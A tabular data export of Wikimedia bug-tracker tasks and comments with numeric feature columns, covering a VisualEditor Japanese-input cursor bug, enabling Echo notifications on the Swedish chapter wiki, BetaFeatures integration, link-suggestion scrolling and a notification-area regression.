250457,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Patch has been reverted due to other issues, sadly.",,,1376960981,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,"Patch has been reverted due to other issues, sadly."
250455,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,Doesn't seem to be happening any more.,,,1376937358,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,3.5555555555555554,1.0,Doesn't seem to be happening any more.
250454,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"This seems to be caused by a call to surfaceObserver.stop() in Surface's onDocumentKeyDown method, which is wrongly asynchronous. The same problem was affecting Malayalam and probably other scripts/IMEs too.

I *think* it should be fixed by https://gerrit.wikimedia.org/r/#/c/79451 (just merged).",,,1376922530,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,4.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,13.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.188679245283019,0.8490566037735849,"This seems to be caused by a call to surfaceObserver.stop() in Surface's onDocumentKeyDown method, which is wrongly asynchronous. The same problem was affecting Malayalam and probably other scripts/IMEs too.

I *think* it should be fixed by URL (just merged)."
250450,VisualEditor: cursor places itself after the first character when inserting a group of Japanese characters,"Now I tested it myself on Fedora 18 with Firefox. It happens there too. To reproduce:

1. Enabled the ""Japanese (Anthy)"" keyboard in GNOME input sources.
2. In a VisualEditor window type ""mitsubishi"". It appears as four Kana characters: ""みつびし"".
3. Press the space bar. The four characters change to two Kanji characters: ""三菱"".
4. Press Enter. This accepts the Kanji representation.

Observed: The cursor is placed between 三 and 菱.
Expected: The cursor should be placed after 三菱. That is what happens in other text editors on my system.",,,1376585969,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cmua6cyyxv7g5lccv5gd,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,2.0,0.0,1.5,7.0,0.0,0.5,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,16.0,0.0,1.0,6.5,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,3.5,7.0,11.0,0.0,4.5,0.0,3.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,3.0,3.560267857142857,0.7242063492063492,"Now I tested it myself on Fedora 18 with Firefox. It happens there too. To reproduce:

1. Enabled the ""Japanese (Anthy)"" keyboard in GNOME input sources.
2. In a VisualEditor window type ""mitsubishi"". It appears as four Kana characters: ""みつびし"".
3. Press the space bar. The four characters change to two Kanji characters: ""三菱"".
4. Press Enter. This accepts the Kanji representation.

Observed: The cursor is placed between 三 and 菱.
Expected: The cursor should be placed after 三菱. That is what happens in other text editors on my system."
54714,Enable Echo / Notifications on se.wikimedia.org,"The Swedish chapter would like to get Notifications enabled on their wiki at se.wikimedia.org. Please use the default settings.

Poll here: http://se.wikimedia.org/wiki/Tråd:Wikimedia:Bybrunnen/VisualEditor_och_Notifications

/Jan
CEO

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",High,80.0,1376179080,1382727600.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,6.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.26,0.72,"The Swedish chapter would like to get Notifications enabled on their wiki at se.wikimedia.org. Please use the default settings.

Poll here: URL

/Jan
CEO

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
250378,Enable Echo / Notifications on se.wikimedia.org,Seems like this wiki was included in the last roll-out.,,,1382727600,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,16,,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5384615384615383,1.0,Seems like this wiki was included in the last roll-out.
250373,Enable Echo / Notifications on se.wikimedia.org,"Thank you, it was my pleasure! Bear in mind that this is an additional request to enable it on the chapter wiki, and we do not need to wait for a specific date there, just turn it on at your will.",,,1376514498,,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,2.0,4.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,17.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,4.0,2.0,2.0,9.0,0.0,0.0,2.0,0.0,11.0,0.0,0.0,0.0,15.0,17.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.391304347826087,0.8695652173913043,"Thank you, it was my pleasure! Bear in mind that this is an additional request to enable it on the chapter wiki, and we do not need to wait for a specific date there, just turn it on at your will."
250368,Enable Echo / Notifications on se.wikimedia.org,"Thanks, Jan!

It was a pleasure to meet you at Wikimania last week.

I am so glad that the Swedish Wikipedia will be one of the first non-English Wikipedia to deploy Echo next week, as outlined in this release plan:

http://www.mediawiki.org/wiki/Echo/Release_Plan_2013

We're now scheduled to deploy on Tuesday August 20 at 12pm PT - on the French, Polish, Portuguese and Swedish Wikipedias, if all goes well. 

Please let us know if you have any final questions.

Cheers ...",,,1376513998,,PHID-USER-dbudsaorcqut7sg3vvbi,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,6,,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,13.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,22.0,3.0,1.0,7.0,0.0,0.0,1.0,0.0,6.0,1.0,3.0,0.0,6.0,13.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.622448979591837,0.7551020408163265,"Thanks, Jan!

It was a pleasure to meet you at Wikimania last week.

I am so glad that the Swedish Wikipedia will be one of the first non-English Wikipedia to deploy Echo next week, as outlined in this release plan:

URL

We're now scheduled to deploy on Tuesday August 20 at 12pm PT - on the French, Polish, Portuguese and Swedish Wikipedias, if all goes well. 

Please let us know if you have any final questions.

Cheers ..."
250364,Enable Echo / Notifications on se.wikimedia.org,"I don't think Echo is under general deployment yet.

CC'ing Fabrice",,,1376185892,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-l2ev3r2fbwgu3qyqlxqi,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.142857142857143,1.0,"I don't think Echo is under general deployment yet.

CC'ing Fabrice"
54686,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,"Because we love Mark:

http://m.mediawiki.org/wiki/Extension:BetaFeatures

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1376107740,1383280071.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_description,resolved,True,c1,3,True,False,False,5,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.56,"Because we love Mark:

URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
248561,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,Done in gerrit 91108.,,,1383280071,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_subcomment,,True,c1,3,True,,,17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Done in gerrit 91108.
248554,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,"Change 78795 merged by jenkins-bot:
Integrate with BetaPreferences

https://gerrit.wikimedia.org/r/78795",,,1378918492,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,1.0,"Change 78795 merged by jenkins-bot:
Integrate with BetaPreferences

GERRIT_URL"
248548,VisualEditor: Register each VE experimental feature individually with the BetaFeatures extension,"Change 78795 had a related patch set uploaded by Esanders:
[WIP] Integrate with BetaPreferences

https://gerrit.wikimedia.org/r/78795",,,1376287586,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7ldpzjc4tuyxvsjssopj,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.75,1.0,"Change 78795 had a related patch set uploaded by Esanders:
[WIP] Integrate with BetaPreferences

GERRIT_URL"
54670,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,"When the list of potential articles is longer than the displayed list there is no way to see other articles without continuing to type part of the name. In some cases this isn't going to be much of a problem, but when there are lots of items that could have the same title (e.g. [[Nexus]]) it essentially requires you to know which disambiguator is used, defeating the point of the suggestions list.

--------------------------
**Version**: unspecified
**Severity**: enhancement",High,80.0,1376050440,1393635105.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-fbqhcge4qrnba67okcqc,task_description,resolved,True,c1,3,False,False,False,5,,1.0,0.0,0.0,1.0,0.5,4.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.5,3.5,7.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.5,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,4.0,0.0,1.0,0.0,0.5,0.0,11.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.0,0.0,0.5,1.0,5.0,3.5,4.0,1.0,0.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.5,0.0,2.0,0.5,0.0,2.0,4.0109803921568625,0.7523529411764706,"When the list of potential articles is longer than the displayed list there is no way to see other articles without continuing to type part of the name. In some cases this isn't going to be much of a problem, but when there are lots of items that could have the same title (e.g. [[Nexus]]) it essentially requires you to know which disambiguator is used, defeating the point of the suggestions list.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
247683,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,"No, it was in error. Sorry!",,,1393635105,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbqhcge4qrnba67okcqc,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.4444444444444446,1.0,"No, it was in error. Sorry!"
247681,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,"James, did you mean to reopen this four seconds after closing it?",,,1393633971,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-fbqhcge4qrnba67okcqc,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,14.0,14.0,7.0,7.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.857142857142857,1.0,"James, did you mean to reopen this four seconds after closing it?"
247679,VisualEditor: Link suggestions list should vertically scroll if there's insufficient room for them on-screen,I believe that this was fixed in the scrollable-update in October. Sorry for the slow triage.,,,1393632732,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-fbqhcge4qrnba67okcqc,task_subcomment,,True,c1,3,True,,,34,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,15.0,5.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,20.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.85,I believe that this was fixed in the scrollable-update in October. Sorry for the slow triage.
54659,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Screenshot FF, vector skin, mediawiki,ca-action

[Regression]: mw-notification-area makes vector-hover-dropdown closing
----
How to reproduce:
* Be an admin at Commons or have otherwise at least 3 entries in your ca-action dropdown.
* Fire mw.notify('foo') in your js-console
* Scroll to top
* Click the message ('foo') to ""hide"" it
* Hover the ca-action arrow.
* Try to click ""protect"" (see screenshot)

As soon as your cursor is over the mw-notification-area (made visible in other screenshot), the dropdown closes.

----
Expected behaviour: Can move/protect page. Dropdown does not close out of the blue.

--------------------------
**Version**: 1.22.0
**Severity**: normal

**Attached**: {F11622}",High,80.0,1375990260,1409946198.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,False,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_description,resolved,True,c1,3,False,False,False,5,,0.0,0.0,0.0,0.0,0.5,3.5,1.0,0.0,0.0,0.0,3.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5,7.5,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,1.0,0.5,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.0,1.0,10.0,0.5,0.5,3.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,2.0,7.5,2.5,0.0,3.5,0.0,2.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,3.3775083612040135,0.6338987099856666,"Screenshot FF, vector skin, mediawiki,ca-action

[Regression]: mw-notification-area makes vector-hover-dropdown closing
----
How to reproduce:
* Be an admin at Commons or have otherwise at least 3 entries in your ca-action dropdown.
* Fire mw.notify('foo') in your js-console
* Scroll to top
* Click the message ('foo') to ""hide"" it
* Hover the ca-action arrow.
* Try to click ""protect"" (see screenshot)

As soon as your cursor is over the mw-notification-area (made visible in other screenshot), the dropdown closes.

----
Expected behaviour: Can move/protect page. Dropdown does not close out of the blue.

--------------------------
**Version**: 1.22.0
**Severity**: normal

**Attached**: {F11622}"
247166,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 158659 merged by jenkins-bot:
mediawiki.notification: Also hide #mw-notification-area upon creation

https://gerrit.wikimedia.org/r/158659",,,1409943658,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.739130434782608,0.8695652173913043,"Change 158659 merged by jenkins-bot:
mediawiki.notification: Also hide #mw-notification-area upon creation

GERRIT_URL"
247161,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,*** Bug 55457 has been marked as a duplicate of this bug. ***,,,1409942617,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55457 has been marked as a duplicate of this bug. ***
247156,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 158659 had a related patch set uploaded by Catrope:
Followup 6c5b246: also hide #mw-notification-area upon creation

https://gerrit.wikimedia.org/r/158659",,,1409942585,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.407407407407407,0.9259259259259259,"Change 158659 had a related patch set uploaded by Catrope:
Followup 6c5b246: also hide #mw-notification-area upon creation

GERRIT_URL"
247150,[Regression] mediawiki.notification: Notification area remains visible when empty and steals pointer events,"Change 109124 merged by jenkins-bot:
mediawiki.notification: Hide #mw-notification-area when it's empty

https://gerrit.wikimedia.org/r/109124",,,1393344878,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hf3lpbfwtlmq4fqfsw75,task_subcomment,,True,c1,3,False,,,34,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.875,"Change 109124 merged by jenkins-bot:
mediawiki.notification: Hide #mw-notification-area when it's empty

GERRIT_URL"
